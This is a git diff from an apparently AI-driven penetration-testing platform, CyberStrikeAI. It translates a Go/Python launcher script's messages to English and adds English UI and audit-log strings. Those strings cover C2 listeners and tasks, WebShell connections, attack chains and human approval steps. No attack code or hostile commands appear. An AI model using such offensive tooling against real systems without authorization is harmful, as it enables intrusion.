info "错误详情(最后 10 行):"
|
info "Error details (last 10 lines):"
|
||||||
tail -n 10 "$PIP_LOG" | sed 's/^/ /'
|
tail -n 10 "$PIP_LOG" | sed 's/^/ /'
|
||||||
echo ""
|
echo ""
|
||||||
fi
|
fi
|
||||||
fi
|
fi
|
||||||
rm -f "$PIP_LOG"
|
rm -f "$PIP_LOG"
|
||||||
else
|
else
|
||||||
warning "未找到 requirements.txt,跳过 Python 依赖安装"
|
warning "requirements.txt not found; skipping Python dependency install"
|
||||||
fi
|
fi
|
||||||
}
|
}
|
||||||
|
|
||||||
# 构建 Go 项目
|
# Build Go project
|
||||||
build_go_project() {
|
build_go_project() {
|
||||||
echo ""
|
echo ""
|
||||||
note "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
|
note "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
|
||||||
note "⚠️ 使用临时 Go Proxy(仅本次脚本运行有效)"
|
note "Using temporary Go proxy (this script run only)"
|
||||||
note " Proxy 地址: ${GOPROXY}"
|
note " Proxy URL: ${GOPROXY}"
|
||||||
note " 如需永久配置,请设置环境变量 GOPROXY"
|
note " For a permanent setting, set the GOPROXY env var"
|
||||||
note "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
|
note "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
|
||||||
echo ""
|
echo ""
|
||||||
|
|
||||||
info "下载 Go 依赖..."
|
info "Downloading Go dependencies..."
|
||||||
GO_DOWNLOAD_LOG=$(mktemp)
|
GO_DOWNLOAD_LOG=$(mktemp)
|
||||||
(
|
(
|
||||||
set +e # 在子shell中禁用错误退出
|
set +e # disable errexit in subshell
|
||||||
export GOPROXY="$GOPROXY"
|
export GOPROXY="$GOPROXY"
|
||||||
go mod download >"$GO_DOWNLOAD_LOG" 2>&1
|
go mod download >"$GO_DOWNLOAD_LOG" 2>&1
|
||||||
echo $? > "${GO_DOWNLOAD_LOG}.exit"
|
echo $? > "${GO_DOWNLOAD_LOG}.exit"
|
||||||
) &
|
) &
|
||||||
GO_DOWNLOAD_PID=$!
|
GO_DOWNLOAD_PID=$!
|
||||||
|
|
||||||
# 等待一小段时间,确保进程启动
|
# Brief pause so the process can start
|
||||||
sleep 0.1
|
sleep 0.1
|
||||||
|
|
||||||
# 显示进度(如果进程还在运行)
|
# Show progress while still running
|
||||||
if kill -0 "$GO_DOWNLOAD_PID" 2>/dev/null; then
|
if kill -0 "$GO_DOWNLOAD_PID" 2>/dev/null; then
|
||||||
show_progress "$GO_DOWNLOAD_PID" "正在下载 Go 依赖"
|
show_progress "$GO_DOWNLOAD_PID" "Downloading Go dependencies"
|
||||||
else
|
else
|
||||||
# 进程已经结束,等待一下确保退出码文件已写入
|
# Process already finished; wait for exit code file
|
||||||
sleep 0.2
|
sleep 0.2
|
||||||
fi
|
fi
|
||||||
|
|
||||||
# 等待进程完成,忽略 wait 的退出码
|
# Wait for completion; ignore wait exit code
|
||||||
wait "$GO_DOWNLOAD_PID" 2>/dev/null || true
|
wait "$GO_DOWNLOAD_PID" 2>/dev/null || true
|
||||||
|
|
||||||
GO_DOWNLOAD_EXIT_CODE=0
|
GO_DOWNLOAD_EXIT_CODE=0
|
||||||
@@ -274,7 +274,7 @@ build_go_project() {
|
|||||||
GO_DOWNLOAD_EXIT_CODE=$(cat "${GO_DOWNLOAD_LOG}.exit" 2>/dev/null || echo "1")
|
GO_DOWNLOAD_EXIT_CODE=$(cat "${GO_DOWNLOAD_LOG}.exit" 2>/dev/null || echo "1")
|
||||||
rm -f "${GO_DOWNLOAD_LOG}.exit" 2>/dev/null || true
|
rm -f "${GO_DOWNLOAD_LOG}.exit" 2>/dev/null || true
|
||||||
else
|
else
|
||||||
# 如果没有退出码文件,检查日志中是否有错误
|
# No exit code file; check log for errors
|
||||||
if [ -f "$GO_DOWNLOAD_LOG" ] && grep -q -i "error\|failed" "$GO_DOWNLOAD_LOG" 2>/dev/null; then
|
if [ -f "$GO_DOWNLOAD_LOG" ] && grep -q -i "error\|failed" "$GO_DOWNLOAD_LOG" 2>/dev/null; then
|
||||||
GO_DOWNLOAD_EXIT_CODE=1
|
GO_DOWNLOAD_EXIT_CODE=1
|
||||||
fi
|
fi
|
||||||
@@ -282,33 +282,33 @@ build_go_project() {
|
|||||||
rm -f "$GO_DOWNLOAD_LOG" 2>/dev/null || true
|
rm -f "$GO_DOWNLOAD_LOG" 2>/dev/null || true
|
||||||
|
|
||||||
if [ $GO_DOWNLOAD_EXIT_CODE -ne 0 ]; then
|
if [ $GO_DOWNLOAD_EXIT_CODE -ne 0 ]; then
|
||||||
error "Go 依赖下载失败"
|
error "Go dependency download failed"
|
||||||
exit 1
|
exit 1
|
||||||
fi
|
fi
|
||||||
success "Go 依赖下载完成"
|
success "Go dependencies downloaded"
|
||||||
|
|
||||||
info "构建项目..."
|
info "Building project..."
|
||||||
GO_BUILD_LOG=$(mktemp)
|
GO_BUILD_LOG=$(mktemp)
|
||||||
(
|
(
|
||||||
set +e # 在子shell中禁用错误退出
|
set +e # disable errexit in subshell
|
||||||
export GOPROXY="$GOPROXY"
|
export GOPROXY="$GOPROXY"
|
||||||
go build -o "$BINARY_NAME" cmd/server/main.go >"$GO_BUILD_LOG" 2>&1
|
go build -o "$BINARY_NAME" cmd/server/main.go >"$GO_BUILD_LOG" 2>&1
|
||||||
echo $? > "${GO_BUILD_LOG}.exit"
|
echo $? > "${GO_BUILD_LOG}.exit"
|
||||||
) &
|
) &
|
||||||
GO_BUILD_PID=$!
|
GO_BUILD_PID=$!
|
||||||
|
|
||||||
# 等待一小段时间,确保进程启动
|
# Brief pause so the process can start
|
||||||
sleep 0.1
|
sleep 0.1
|
||||||
|
|
||||||
# 显示进度(如果进程还在运行)
|
# Show progress while still running
|
||||||
if kill -0 "$GO_BUILD_PID" 2>/dev/null; then
|
if kill -0 "$GO_BUILD_PID" 2>/dev/null; then
|
||||||
show_progress "$GO_BUILD_PID" "正在构建项目"
|
show_progress "$GO_BUILD_PID" "Building project"
|
||||||
else
|
else
|
||||||
# 进程已经结束,等待一下确保退出码文件已写入
|
# Process already finished; wait for exit code file
|
||||||
sleep 0.2
|
sleep 0.2
|
||||||
fi
|
fi
|
||||||
|
|
||||||
# 等待进程完成,忽略 wait 的退出码
|
# Wait for completion; ignore wait exit code
|
||||||
wait "$GO_BUILD_PID" 2>/dev/null || true
|
wait "$GO_BUILD_PID" 2>/dev/null || true
|
||||||
|
|
||||||
GO_BUILD_EXIT_CODE=0
|
GO_BUILD_EXIT_CODE=0
|
||||||
@@ -316,20 +316,20 @@ build_go_project() {
|
|||||||
GO_BUILD_EXIT_CODE=$(cat "${GO_BUILD_LOG}.exit" 2>/dev/null || echo "1")
|
GO_BUILD_EXIT_CODE=$(cat "${GO_BUILD_LOG}.exit" 2>/dev/null || echo "1")
|
||||||
rm -f "${GO_BUILD_LOG}.exit" 2>/dev/null || true
|
rm -f "${GO_BUILD_LOG}.exit" 2>/dev/null || true
|
||||||
else
|
else
|
||||||
# 如果没有退出码文件,检查日志中是否有错误
|
# No exit code file; check log for errors
|
||||||
if [ -f "$GO_BUILD_LOG" ] && grep -q -i "error\|failed" "$GO_BUILD_LOG" 2>/dev/null; then
|
if [ -f "$GO_BUILD_LOG" ] && grep -q -i "error\|failed" "$GO_BUILD_LOG" 2>/dev/null; then
|
||||||
GO_BUILD_EXIT_CODE=1
|
GO_BUILD_EXIT_CODE=1
|
||||||
fi
|
fi
|
||||||
fi
|
fi
|
||||||
|
|
||||||
if [ $GO_BUILD_EXIT_CODE -eq 0 ]; then
|
if [ $GO_BUILD_EXIT_CODE -eq 0 ]; then
|
||||||
success "项目构建完成: $BINARY_NAME"
|
success "Build complete: $BINARY_NAME"
|
||||||
rm -f "$GO_BUILD_LOG"
|
rm -f "$GO_BUILD_LOG"
|
||||||
else
|
else
|
||||||
error "项目构建失败"
|
error "Build failed"
|
||||||
# 显示构建错误
|
# Show build errors
|
||||||
echo ""
|
echo ""
|
||||||
info "构建错误详情:"
|
info "Build error details:"
|
||||||
cat "$GO_BUILD_LOG" | sed 's/^/ /'
|
cat "$GO_BUILD_LOG" | sed 's/^/ /'
|
||||||
echo ""
|
echo ""
|
||||||
rm -f "$GO_BUILD_LOG"
|
rm -f "$GO_BUILD_LOG"
|
||||||
@@ -337,24 +337,24 @@ build_go_project() {
|
|||||||
fi
|
fi
|
||||||
}
|
}
|
||||||
|
|
||||||
# 检查是否需要重新构建
|
# Check whether a rebuild is needed
|
||||||
need_rebuild() {
|
need_rebuild() {
|
||||||
if [ ! -f "$BINARY_NAME" ]; then
|
if [ ! -f "$BINARY_NAME" ]; then
|
||||||
return 0 # 需要构建
|
return 0 # needs build
|
||||||
fi
|
fi
|
||||||
|
|
||||||
# 检查源代码是否有更新
|
# Check if source changed since last build
|
||||||
if [ "$BINARY_NAME" -ot cmd/server/main.go ] || \
|
if [ "$BINARY_NAME" -ot cmd/server/main.go ] || \
|
||||||
[ "$BINARY_NAME" -ot go.mod ] || \
|
[ "$BINARY_NAME" -ot go.mod ] || \
|
||||||
find internal cmd -name "*.go" -newer "$BINARY_NAME" 2>/dev/null | grep -q .; then
|
find internal cmd -name "*.go" -newer "$BINARY_NAME" 2>/dev/null | grep -q .; then
|
||||||
return 0 # 需要重新构建
|
return 0 # needs rebuild
|
||||||
fi
|
fi
|
||||||
|
|
||||||
return 1 # 不需要构建
|
return 1 # no rebuild needed
|
||||||
}
|
}
|
||||||
|
|
||||||
# 主流程
|
# Main flow
|
||||||
# 默认启动主站 HTTPS(--https 传给二进制);传 --http 则走明文 HTTP。
|
# Default: HTTPS (--https passed to binary); --http uses plain HTTP.
|
||||||
main() {
|
main() {
|
||||||
USE_HTTPS=1
|
USE_HTTPS=1
|
||||||
FORWARD_ARGS=()
|
FORWARD_ARGS=()
|
||||||
@@ -366,39 +366,39 @@ main() {
|
|||||||
FORWARD_ARGS+=("$arg")
|
FORWARD_ARGS+=("$arg")
|
||||||
done
|
done
|
||||||
|
|
||||||
# 环境检查
|
# Environment checks
|
||||||
info "检查运行环境..."
|
info "Checking runtime environment..."
|
||||||
check_python
|
check_python
|
||||||
check_go
|
check_go
|
||||||
echo ""
|
echo ""
|
||||||
|
|
||||||
# 设置 Python 环境
|
# Python setup
|
||||||
info "设置 Python 环境..."
|
info "Setting up Python environment..."
|
||||||
setup_python_env
|
setup_python_env
|
||||||
echo ""
|
echo ""
|
||||||
|
|
||||||
# 构建 Go 项目
|
# Go build
|
||||||
if need_rebuild; then
|
if need_rebuild; then
|
||||||
info "准备构建项目..."
|
info "Preparing to build project..."
|
||||||
build_go_project
|
build_go_project
|
||||||
else
|
else
|
||||||
success "可执行文件已是最新,跳过构建"
|
success "Binary is up to date; skipping build"
|
||||||
fi
|
fi
|
||||||
echo ""
|
echo ""
|
||||||
|
|
||||||
# 启动服务器
|
# Start server
|
||||||
success "所有准备工作完成!"
|
success "All setup complete!"
|
||||||
echo ""
|
echo ""
|
||||||
if [ "$USE_HTTPS" -eq 1 ]; then
|
if [ "$USE_HTTPS" -eq 1 ]; then
|
||||||
info "启动 CyberStrikeAI 服务器(HTTPS + HTTP/2,自签证书)..."
|
info "Starting CyberStrikeAI server (HTTPS + HTTP/2, self-signed cert)..."
|
||||||
note "纯 HTTP 启动请使用: $0 --http"
|
note "For plain HTTP, use: $0 --http"
|
||||||
else
|
else
|
||||||
info "启动 CyberStrikeAI 服务器(HTTP)..."
|
info "Starting CyberStrikeAI server (HTTP)..."
|
||||||
fi
|
fi
|
||||||
echo "=========================================="
|
echo "=========================================="
|
||||||
echo ""
|
echo ""
|
||||||
|
|
||||||
# 始终传入项目根目录下的 config.yaml,避免 cwd 不在项目根时找不到配置;额外参数仍可追加(如再次 -config 覆盖,以 Go flag 后写为准)。
|
# Always pass config.yaml from project root so cwd does not matter; extra args still apply (e.g. -config override; last Go flag wins).
|
||||||
if [ "$USE_HTTPS" -eq 1 ]; then
|
if [ "$USE_HTTPS" -eq 1 ]; then
|
||||||
if [ "${#FORWARD_ARGS[@]}" -gt 0 ]; then
|
if [ "${#FORWARD_ARGS[@]}" -gt 0 ]; then
|
||||||
exec "./$BINARY_NAME" -config "$CONFIG_FILE" --https "${FORWARD_ARGS[@]}"
|
exec "./$BINARY_NAME" -config "$CONFIG_FILE" --https "${FORWARD_ARGS[@]}"
|
||||||
@@ -414,5 +414,5 @@ main() {
|
|||||||
fi
|
fi
|
||||||
}
|
}
|
||||||
|
|
||||||
# 执行主流程(支持参数,如: ./run.sh --http)
|
# Run main (supports args, e.g. ./run.sh --http)
|
||||||
main "$@"
|
main "$@"
|
||||||
|
|||||||
+1181
-52
File diff suppressed because it is too large
Load Diff
+1166
-93
File diff suppressed because it is too large
Load Diff
+178
-4
@@ -205,6 +205,7 @@
|
|||||||
"statusConfirmed": "Confirmed",
|
"statusConfirmed": "Confirmed",
|
||||||
"statusFixed": "Fixed",
|
"statusFixed": "Fixed",
|
||||||
"statusFalsePositive": "False positive",
|
"statusFalsePositive": "False positive",
|
||||||
|
"statusIgnored": "Ignored",
|
||||||
"fixRate": "Fix rate",
|
"fixRate": "Fix rate",
|
||||||
"dataStale": "Data may be stale — please refresh",
|
"dataStale": "Data may be stale — please refresh",
|
||||||
"recommendedActions": "Recommended Actions",
|
"recommendedActions": "Recommended Actions",
|
||||||
@@ -285,6 +286,8 @@
|
|||||||
"status": "Status",
|
"status": "Status",
|
||||||
"modalNewTitle": "New project",
|
"modalNewTitle": "New project",
|
||||||
"modalNewSubtitle": "After creation, bind conversations to share fact board across chats",
|
"modalNewSubtitle": "After creation, bind conversations to share fact board across chats",
|
||||||
|
"modalEditTitle": "Edit project",
|
||||||
|
"modalEditSubtitle": "Update project name and description",
|
||||||
"projectName": "Project name",
|
"projectName": "Project name",
|
||||||
"projectNamePlaceholder": "e.g. Client A Web pentest",
|
"projectNamePlaceholder": "e.g. Client A Web pentest",
|
||||||
"projectDescription": "Project description",
|
"projectDescription": "Project description",
|
||||||
@@ -323,6 +326,9 @@
|
|||||||
"statsSparse": "{{count}} incomplete",
|
"statsSparse": "{{count}} incomplete",
|
||||||
"projectNotFound": "Project not found",
|
"projectNotFound": "Project not found",
|
||||||
"updatedPrefix": "Updated {{time}}",
|
"updatedPrefix": "Updated {{time}}",
|
||||||
|
"descExpand": "Show all",
|
||||||
|
"descCollapse": "Show less",
|
||||||
|
"descriptionLengthHint": "Keep it brief (max 4000 chars). Put long logs/POCs in fact board body instead.",
|
||||||
"noMatchingFacts": "No matching facts, try adjusting filters",
|
"noMatchingFacts": "No matching facts, try adjusting filters",
|
||||||
"noFacts": "No facts yet. Click Add fact or let Agent write facts automatically",
|
"noFacts": "No facts yet. Click Add fact or let Agent write facts automatically",
|
||||||
"relatedVulnIdTitle": "Related vulnerability ID",
|
"relatedVulnIdTitle": "Related vulnerability ID",
|
||||||
@@ -406,6 +412,10 @@
|
|||||||
"dangerZoneTitle": "Danger zone",
|
"dangerZoneTitle": "Danger zone",
|
||||||
"dangerZoneHint": "Archived projects are hidden unless 'Show archived' is enabled; deletion removes all facts permanently.",
|
"dangerZoneHint": "Archived projects are hidden unless 'Show archived' is enabled; deletion removes all facts permanently.",
|
||||||
"archiveRestore": "Archive / Restore",
|
"archiveRestore": "Archive / Restore",
|
||||||
|
"archiveProject": "Archive",
|
||||||
|
"editProject": "Edit",
|
||||||
|
"restoreProjectActive": "Restore to active",
|
||||||
|
"projectActions": "Project actions",
|
||||||
"deleteProject": "Delete project",
|
"deleteProject": "Delete project",
|
||||||
"saveChangesHint": "Click save to sync changes to server",
|
"saveChangesHint": "Click save to sync changes to server",
|
||||||
"saveSettings": "Save changes",
|
"saveSettings": "Save changes",
|
||||||
@@ -464,7 +474,7 @@
|
|||||||
"noHistoryConversations": "No conversation history yet",
|
"noHistoryConversations": "No conversation history yet",
|
||||||
"renameGroupPrompt": "Please enter new name:",
|
"renameGroupPrompt": "Please enter new name:",
|
||||||
"deleteGroupConfirm": "Are you sure you want to delete this group? Conversations in the group will not be deleted, but will be removed from the group.",
|
"deleteGroupConfirm": "Are you sure you want to delete this group? Conversations in the group will not be deleted, but will be removed from the group.",
|
||||||
"deleteConversationConfirm": "Are you sure you want to delete this conversation?",
|
"deleteConversationConfirm": "Delete this conversation? Chat messages cannot be recovered, but recorded vulnerabilities will remain in the vulnerability library.",
|
||||||
"renameFailed": "Rename failed",
|
"renameFailed": "Rename failed",
|
||||||
"downloadConversationFailed": "Failed to download conversation",
|
"downloadConversationFailed": "Failed to download conversation",
|
||||||
"viewAttackChainSelectConv": "Please select a conversation to view attack chain",
|
"viewAttackChainSelectConv": "Please select a conversation to view attack chain",
|
||||||
@@ -501,6 +511,8 @@
|
|||||||
"einoStreamErrorTitle": "⚠️ Eino stream interrupted ({{agent}})",
|
"einoStreamErrorTitle": "⚠️ Eino stream interrupted ({{agent}})",
|
||||||
"einoStreamErrorMessage": "Streaming read failed; the system will retry or terminate according to policy.",
|
"einoStreamErrorMessage": "Streaming read failed; the system will retry or terminate according to policy.",
|
||||||
"einoRunRetryTitle": "🔁 Transient error retry",
|
"einoRunRetryTitle": "🔁 Transient error retry",
|
||||||
|
"einoEmptyResponseContinueTitle": "🔁 Auto resume (no assistant text)",
|
||||||
|
"einoEmptyResponseContinueMessage": "Session ended without captured assistant text; resuming from trace…",
|
||||||
"einoRunRetryErrorDetail": "Error detail",
|
"einoRunRetryErrorDetail": "Error detail",
|
||||||
"iterationLimitReachedTitle": "⛔ Iteration limit reached",
|
"iterationLimitReachedTitle": "⛔ Iteration limit reached",
|
||||||
"iterationLimitReachedMessage": "Maximum iteration count reached; automatic iteration has stopped.",
|
"iterationLimitReachedMessage": "Maximum iteration count reached; automatic iteration has stopped.",
|
||||||
@@ -958,6 +970,9 @@
|
|||||||
"externalBadge": "External",
|
"externalBadge": "External",
|
||||||
"externalFrom": "External ({{name}})",
|
"externalFrom": "External ({{name}})",
|
||||||
"externalToolFrom": "External MCP - Source: {{name}}",
|
"externalToolFrom": "External MCP - Source: {{name}}",
|
||||||
|
"clickToViewTools": "Click to view tools from {{name}}",
|
||||||
|
"filterBySource": "Source: {{name}}",
|
||||||
|
"clearSourceFilter": "Clear source filter",
|
||||||
"noDescription": "No description",
|
"noDescription": "No description",
|
||||||
"paginationInfo": "{{start}}-{{end}} of {{total}} tools",
|
"paginationInfo": "{{start}}-{{end}} of {{total}} tools",
|
||||||
"perPage": "Per page:",
|
"perPage": "Per page:",
|
||||||
@@ -1068,6 +1083,7 @@
|
|||||||
"botAgent": "Bot Agent",
|
"botAgent": "Bot Agent",
|
||||||
"ilinkBotId": "iLink Bot ID (filled after bind)",
|
"ilinkBotId": "iLink Bot ID (filled after bind)",
|
||||||
"boundSuccess": "Binding successful. WeChat bot is enabled.",
|
"boundSuccess": "Binding successful. WeChat bot is enabled.",
|
||||||
|
"alreadyBound": "This WeChat account is already bound.",
|
||||||
"openLink": "QR not showing? Open link in WeChat on your phone"
|
"openLink": "QR not showing? Open link in WeChat on your phone"
|
||||||
},
|
},
|
||||||
"wecom": {
|
"wecom": {
|
||||||
@@ -1577,6 +1593,7 @@
|
|||||||
"timelineSummary": "{{total}} calls in range · peak {{peak}}",
|
"timelineSummary": "{{total}} calls in range · peak {{peak}}",
|
||||||
"timelineSparseHint": "Most buckets are empty; peak {{peak}} calls at {{peakTime}}",
|
"timelineSparseHint": "Most buckets are empty; peak {{peak}} calls at {{peakTime}}",
|
||||||
"timelineNoData": "No calls in this period",
|
"timelineNoData": "No calls in this period",
|
||||||
|
"timelineEmptyHint": "Switch the time range or invoke MCP tools in chat or tasks",
|
||||||
"timelineLoadError": "Failed to load call trend",
|
"timelineLoadError": "Failed to load call trend",
|
||||||
"timelineTotalLegend": "Total calls",
|
"timelineTotalLegend": "Total calls",
|
||||||
"timelineFailedLegend": "Failed",
|
"timelineFailedLegend": "Failed",
|
||||||
@@ -1803,6 +1820,7 @@
|
|||||||
"statusConfirmed": "Confirmed",
|
"statusConfirmed": "Confirmed",
|
||||||
"statusFixed": "Fixed",
|
"statusFixed": "Fixed",
|
||||||
"statusFalsePositive": "False positive",
|
"statusFalsePositive": "False positive",
|
||||||
|
"statusIgnored": "Ignored",
|
||||||
"searchVulnId": "Search vuln ID",
|
"searchVulnId": "Search vuln ID",
|
||||||
"searchKeyword": "Search title, description, type, target…",
|
"searchKeyword": "Search title, description, type, target…",
|
||||||
"searchKeywordShort": "Keyword",
|
"searchKeywordShort": "Keyword",
|
||||||
@@ -1921,6 +1939,13 @@
|
|||||||
"openaiBaseUrlPlaceholder": "https://api.openai.com/v1",
|
"openaiBaseUrlPlaceholder": "https://api.openai.com/v1",
|
||||||
"openaiApiKeyPlaceholder": "Enter OpenAI API Key",
|
"openaiApiKeyPlaceholder": "Enter OpenAI API Key",
|
||||||
"modelPlaceholder": "gpt-4",
|
"modelPlaceholder": "gpt-4",
|
||||||
|
"fetchModels": "Fetch list",
|
||||||
|
"modelsListFetching": "Fetching model list...",
|
||||||
|
"modelsListSelectPlaceholder": "Select a model",
|
||||||
|
"modelsListSuccess": "Loaded {count} models — use the dropdown on the right, or type in the input",
|
||||||
|
"modelsListFailed": "Failed to fetch model list",
|
||||||
|
"modelsListNeedApiKey": "Please enter API Key first",
|
||||||
|
"modelsListClaudeHint": "Claude does not support auto model list; enter the model name manually",
|
||||||
"maxTotalTokens": "Max Context Tokens",
|
"maxTotalTokens": "Max Context Tokens",
|
||||||
"maxTotalTokensPlaceholder": "120000",
|
"maxTotalTokensPlaceholder": "120000",
|
||||||
"maxTotalTokensHint": "Shared by memory compression and attack chain building. Default: 120000",
|
"maxTotalTokensHint": "Shared by memory compression and attack chain building. Default: 120000",
|
||||||
@@ -2069,14 +2094,35 @@
|
|||||||
"filterResult": "Result",
|
"filterResult": "Result",
|
||||||
"pageSize": "Per page",
|
"pageSize": "Per page",
|
||||||
"statTotal": "Filtered total",
|
"statTotal": "Filtered total",
|
||||||
|
"statSuccess": "Success",
|
||||||
"statFailures": "Failures",
|
"statFailures": "Failures",
|
||||||
"statRecent7d": "Last 7 days",
|
"statRecent7d": "Last 7 days",
|
||||||
"retentionHint": "Audit records are kept for {{days}} days, then purged automatically.",
|
"retentionHint": "Audit records are kept for {{days}} days, then purged automatically.",
|
||||||
"disabledHint": "Audit logging is disabled; new actions are not written.",
|
"disabledHint": "Audit logging is disabled; new actions are not written.",
|
||||||
"filterSince": "From",
|
"filterSince": "From",
|
||||||
"filterUntil": "Until",
|
"filterUntil": "Until",
|
||||||
|
"filterTimeZone": "Timezone: {{tz}} (filter uses your browser's local time)",
|
||||||
|
"datetimePlaceholder": "Select date & time",
|
||||||
|
"timePresets": "Quick range",
|
||||||
|
"preset15m": "Last 15 min",
|
||||||
|
"preset1h": "Last 1 hour",
|
||||||
|
"preset24h": "Last 24 hours",
|
||||||
|
"preset7d": "Last 7 days",
|
||||||
|
"presetToday": "Today",
|
||||||
|
"pickerHour": "Hour",
|
||||||
|
"pickerMinute": "Min",
|
||||||
|
"pickerClear": "Clear",
|
||||||
|
"pickerToday": "Today",
|
||||||
|
"pickerConfirm": "OK",
|
||||||
"filterQuery": "Keyword",
|
"filterQuery": "Keyword",
|
||||||
"filterQueryPlaceholder": "Message / resource ID / action",
|
"filterQueryPlaceholder": "Message / resource ID / action",
|
||||||
|
"colTime": "Time",
|
||||||
|
"colMessage": "Message",
|
||||||
|
"colCategory": "Category",
|
||||||
|
"colAction": "Action",
|
||||||
|
"colResult": "Result",
|
||||||
|
"colIp": "IP",
|
||||||
|
"colResource": "Resource ID",
|
||||||
"cat": {
|
"cat": {
|
||||||
"auth": "Auth",
|
"auth": "Auth",
|
||||||
"config": "Config",
|
"config": "Config",
|
||||||
@@ -2149,6 +2195,93 @@
|
|||||||
"exportDone": "Export complete",
|
"exportDone": "Export complete",
|
||||||
"loading": "Loading...",
|
"loading": "Loading...",
|
||||||
"empty": "No audit records",
|
"empty": "No audit records",
|
||||||
|
"result": {
|
||||||
|
"success": "success",
|
||||||
|
"failure": "failure"
|
||||||
|
},
|
||||||
|
"msg": {
|
||||||
|
"auth": {
|
||||||
|
"login": "Login successful",
|
||||||
|
"login_failed": "Login failed: incorrect password",
|
||||||
|
"logout": "Logged out",
|
||||||
|
"change_password": "Login password changed",
|
||||||
|
"change_password_failed": "Password change failed: current password incorrect"
|
||||||
|
},
|
||||||
|
"config": {
|
||||||
|
"apply": "Configuration applied",
|
||||||
|
"update": "In-memory configuration updated",
|
||||||
|
"apply_fail_kb_init": "Failed to apply config: knowledge base init",
|
||||||
|
"apply_fail_kb_reinit": "Failed to apply config: knowledge base re-init",
|
||||||
|
"apply_fail_c2": "Failed to apply config: C2"
|
||||||
|
},
|
||||||
|
"conversation": {
|
||||||
|
"create": "Conversation created",
|
||||||
|
"delete": "Conversation deleted",
|
||||||
|
"delete_turn": "Conversation turn deleted"
|
||||||
|
},
|
||||||
|
"c2": {
|
||||||
|
"listener_create": "C2 listener created",
|
||||||
|
"listener_delete": "C2 listener deleted",
|
||||||
|
"listener_start": "C2 listener started",
|
||||||
|
"listener_stop": "C2 listener stopped",
|
||||||
|
"session_delete": "C2 session deleted",
|
||||||
|
"task_create": "C2 task created",
|
||||||
|
"task_cancel": "C2 task cancelled",
|
||||||
|
"task_delete": "C2 tasks deleted (batch)"
|
||||||
|
},
|
||||||
|
"webshell": {
|
||||||
|
"connection_create": "WebShell connection created",
|
||||||
|
"connection_delete": "WebShell connection deleted"
|
||||||
|
},
|
||||||
|
"knowledge": {
|
||||||
|
"item_delete": "Knowledge item deleted",
|
||||||
|
"index_rebuild": "Knowledge index rebuilt"
|
||||||
|
},
|
||||||
|
"vulnerability": {
|
||||||
|
"create": "Vulnerability record created",
|
||||||
|
"update": "Vulnerability record updated",
|
||||||
|
"delete": "Vulnerability record deleted",
|
||||||
|
"delete_batch": "Vulnerability records deleted (batch)"
|
||||||
|
},
|
||||||
|
"external_mcp": {
|
||||||
|
"upsert": "External MCP configuration updated",
|
||||||
|
"delete": "External MCP configuration deleted"
|
||||||
|
},
|
||||||
|
"task": {
|
||||||
|
"create_queue": "Batch task queue created",
|
||||||
|
"start_queue": "Batch task queue started",
|
||||||
|
"delete_queue": "Batch task queue deleted",
|
||||||
|
"pause_queue": "Batch task queue paused",
|
||||||
|
"rerun_queue": "Batch task queue rerun",
|
||||||
|
"delete_batch_task": "Batch subtask deleted"
|
||||||
|
},
|
||||||
|
"tool": {
|
||||||
|
"execution_delete": "Tool execution record deleted",
|
||||||
|
"execution_delete_batch": "Tool execution records deleted (batch)"
|
||||||
|
},
|
||||||
|
"file": {
|
||||||
|
"upload": "Chat attachment uploaded",
|
||||||
|
"delete": "Chat attachment deleted"
|
||||||
|
},
|
||||||
|
"hitl": {
|
||||||
|
"decision": "HITL approval decision"
|
||||||
|
},
|
||||||
|
"role": {
|
||||||
|
"create": "Role created",
|
||||||
|
"update": "Role updated",
|
||||||
|
"delete": "Role deleted"
|
||||||
|
},
|
||||||
|
"skill": {
|
||||||
|
"create": "Skill created",
|
||||||
|
"update": "Skill updated",
|
||||||
|
"delete": "Skill deleted"
|
||||||
|
},
|
||||||
|
"agent": {
|
||||||
|
"markdown_create": "Markdown sub-agent created",
|
||||||
|
"markdown_update": "Markdown sub-agent updated",
|
||||||
|
"markdown_delete": "Markdown sub-agent deleted"
|
||||||
|
}
|
||||||
|
},
|
||||||
"paginationShow": "{{start}}-{{end}} of {{total}}",
|
"paginationShow": "{{start}}-{{end}} of {{total}}",
|
||||||
"detailTitle": "Audit detail",
|
"detailTitle": "Audit detail",
|
||||||
"detailTime": "Time",
|
"detailTime": "Time",
|
||||||
@@ -2227,7 +2360,8 @@
|
|||||||
"copyContent": "Copy content",
|
"copyContent": "Copy content",
|
||||||
"correctInfo": "Correct info",
|
"correctInfo": "Correct info",
|
||||||
"errorInfo": "Error info",
|
"errorInfo": "Error info",
|
||||||
"copyError": "Copy error"
|
"copyError": "Copy error",
|
||||||
|
"contentTruncated": "… (display truncated; use read_file on the path in persisted-output for the full file)"
|
||||||
},
|
},
|
||||||
"attackChainModal": {
|
"attackChainModal": {
|
||||||
"title": "Attack chain",
|
"title": "Attack chain",
|
||||||
@@ -2319,7 +2453,7 @@
|
|||||||
"selectAll": "Select all",
|
"selectAll": "Select all",
|
||||||
"deleteSelected": "Delete selected",
|
"deleteSelected": "Delete selected",
|
||||||
"confirmDeleteNone": "Please select at least one conversation to delete",
|
"confirmDeleteNone": "Please select at least one conversation to delete",
|
||||||
"confirmDeleteN": "Delete {{count}} selected conversation(s)?",
|
"confirmDeleteN": "Delete {{count}} selected conversation(s)? Chat messages cannot be recovered, but recorded vulnerabilities will remain in the vulnerability library.",
|
||||||
"deleteFailed": "Delete failed",
|
"deleteFailed": "Delete failed",
|
||||||
"unnamedConversation": "Unnamed conversation"
|
"unnamedConversation": "Unnamed conversation"
|
||||||
},
|
},
|
||||||
@@ -2465,6 +2599,7 @@
|
|||||||
"statusConfirmed": "Confirmed",
|
"statusConfirmed": "Confirmed",
|
||||||
"statusFixed": "Fixed",
|
"statusFixed": "Fixed",
|
||||||
"statusFalsePositive": "False positive",
|
"statusFalsePositive": "False positive",
|
||||||
|
"statusIgnored": "Ignored",
|
||||||
"type": "Vulnerability type",
|
"type": "Vulnerability type",
|
||||||
"typePlaceholder": "e.g. SQL injection, XSS, CSRF",
|
"typePlaceholder": "e.g. SQL injection, XSS, CSRF",
|
||||||
"target": "Target",
|
"target": "Target",
|
||||||
@@ -2556,6 +2691,11 @@
|
|||||||
},
|
},
|
||||||
"c2": {
|
"c2": {
|
||||||
